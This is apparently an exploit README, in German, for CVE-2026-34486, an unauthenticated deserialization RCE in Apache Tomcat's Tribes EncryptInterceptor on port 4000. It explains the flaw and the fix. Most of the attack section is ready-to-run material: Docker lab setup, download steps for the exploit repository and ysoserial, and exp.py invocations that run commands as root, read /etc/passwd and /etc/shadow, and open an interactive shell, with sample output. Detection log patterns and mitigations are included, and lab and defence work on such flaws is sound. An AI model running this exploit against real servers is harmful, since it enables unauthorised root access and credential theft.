
Exploit für die Umgehung des Apache Tomcat EncryptInterceptor, der zu nicht authentifizierter RCE über Java-Deserialisierung auf Port 4000 führt. Enthält Lab-Einrichtung, interaktive Shell und Erkennungsanleitung.
Apache Tomcat Tribes-Cluster-Kommunikationsmodul verwirft Nachrichten nicht, wenn die Entschlüsselung durch
EncryptInterceptorfehlschlägt, wodurch nicht authentifizierte Angreifer über Java-Deserialisierung auf Port 4000 Remote Code Execution auslösen können.
| Feld | Info |
|---|---|
| CVE-ID | CVE-2026-34486 |
| CVSS-Score | 7.5 (Hoch) |
| Komponente | Apache Tomcat Tribes EncryptInterceptor |
| Betroffene Versionen | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| Behobene Versionen | 9.0.117 / 10.1.54 / 11.0.21 |
| Schwachstellentyp | Nicht authentifizierte Remote Code Execution über Deserialisierung |
| Angriffsvektor | Netzwerk / Keine Authentifizierung / Geringe Komplexität |
| Angriffsport | TCP 4000 (Tribes NioReceiver) |
Die Clustering-Funktion von Apache Tomcat verwendet das Tribes-Framework, um Sitzungsdaten zwischen Cluster-Knoten zu synchronisieren und lauscht standardmäßig auf TCP-Port 4000.
Wenn EncryptInterceptor (AES/CBC) aktiviert ist, besteht folgender Logikfehler:
// EncryptInterceptor.java — verwundbare Version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// entschlüsselte Nachricht verarbeiten...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // protokolliert nur den Fehler
}
super.messageReceived(msg); // ← FEHLER: Rohbytes werden auch nach fehlgeschlagener Entschlüsselung weitergeleitet
}
Der catch-Block protokolliert nur den Fehler. Da super.messageReceived(msg) außerhalb des try-catch liegt, werden die rohen unverschlüsselten Bytes an XByteBuffer.deserialize() → ObjectInputStream.readObject() weitergeleitet.
Ein Angreifer kann ein präpariertes Deserialisierungs-Payload senden, um ohne jegliche Authentifizierung RCE auszulösen.
Angreifer ──TCP:4000──► NioReceiver (keine Authentifizierung)
│
EncryptInterceptor.messageReceived()
try { AES/CBC-Entschlüsselung → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← nur Log-Eintrag
super.messageReceived(msg) ← FEHLER: Rohbytes passieren
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← Deserialisierung ausgelöst
│
CommonsCollections6 Gadget Chain
│
Runtime.exec() → RCE als root 🔴
Der Fix verschiebt super.messageReceived(msg) in den try-Block, sodass jede fehlgeschlagene Entschlüsselung dazu führt, dass die Nachricht stillschweigend verworfen wird (Fail-Closed).
// EncryptInterceptor.java — gepatchte Version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// verarbeiten...
super.messageReceived(msg); // ← BEHOBEN: wird nur erreicht, wenn die Entschlüsselung erfolgreich ist
} catch (Exception e) {
log.error("Failed to decrypt message", e); // Nachricht wird verworfen
}
}
java und javac im PATH)ysoserial-all.jarapache-tomcat-9.0.116 (für die Tribes-Bibliothek)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Überprüfen
curl http://localhost:8080
# Exploit
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (für die Tribes-Bibliothek)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Überprüfen
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Ausgabe: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target Ziel-IP (Standard: 127.0.0.1)
-p, --port Tribes-Port (Standard: 4000)
--http-port HTTP-Port für den Abruf der Ausgabe (Standard: 8080)
-c, --command Befehl direkt ausführen (keine Shell-Funktionen)
--rce Befehl ausführen und Ausgabe über HTTP abrufen
--shell Interaktiver Shell-Modus
-g, --gadget Gadget-Kette (Standard: CommonsCollections6)
--ysoserial Pfad zur ysoserial-JAR
--tomcat-lib Pfad zum Tomcat-lib-Verzeichnis
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialisierung → RCE
Ziel : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Kompiliere TribesClient.java ...
[+] Erfolgreich kompiliert
[*] Generiere CommonsCollections6-Payload ...
[+] Payload: 1361 Bytes
[*] Sende Tribes-Frame → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Frame gesendet!
[*] Rufe Ergebnis ab: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
Der einzige vom Angriff hinterlassene Log-Eintrag:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
Es wird keine readObject-Ausnahme protokolliert — der Befehl wird still ausgeführt.
| Maßnahme | Priorität |
|---|---|
| Upgrade auf Tomcat 9.0.117 / 10.1.54 / 11.0.21 | Kritisch |
| Port 4000 nur auf vertrauenswürdige Cluster-IPs beschränken | Hoch |
Logs auf wiederholte Failed to decrypt message-Einträge überwachen | Mittel |
| Tribes-Clustering deaktivieren, falls nicht benötigt | Hoch |